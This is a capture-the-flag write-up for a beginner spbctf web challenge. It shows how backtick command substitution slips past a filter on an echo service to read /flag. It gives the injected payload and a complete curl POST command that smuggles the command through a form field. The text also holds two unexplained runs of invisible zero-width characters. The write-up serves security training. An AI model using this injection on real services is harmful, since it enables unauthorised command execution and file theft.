Echo

Platform: spbctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2019-10-13 | Status: Solved Techniques: backtick_command_substitution, waf_bypass

Summary

Task: Echo service with WAF blocking most shell metacharacters. Solution: Use backtick command substitution to bypass WAF and read the flag file.

Echo — Web Kids 2.0

Description

An echo server at https://2019-10-13-cmdinj.ctf.su/task/echo1. Flag is in /flag on the server.

Analysis

The service takes user input and executes the command echo <user_input>. A WAF is present that blocks most shell metacharacters:

WAF rules:

• ; (semicolon) - disabled
• | (pipe) - disabled
• && - disabled
• ` (backtick) - ALLOWED
• $() - disabled
• # - disabled

Key point: backticks are allowed, which enables command substitution.

Solution

Since backtick is allowed, we can use command substitution to execute an arbitrary command: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

 bash read-only • copy allowed Copy
# Payload
`cat /flag`

Sending a POST request:

 bash read-only • copy allowed Copy
curl -X POST https://2019-10-13-cmdinj.ctf.su/task/echo1 \
  -d "what=\`cat /flag\`"

The server executes:

 bash read-only • copy allowed Copy
echo `cat /flag`

How it works:

1. Shell first executes the command inside backticks: cat /flag
2. The result (file contents) is substituted in place of the backtick expression
3. echo outputs the substituted value — the flag ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍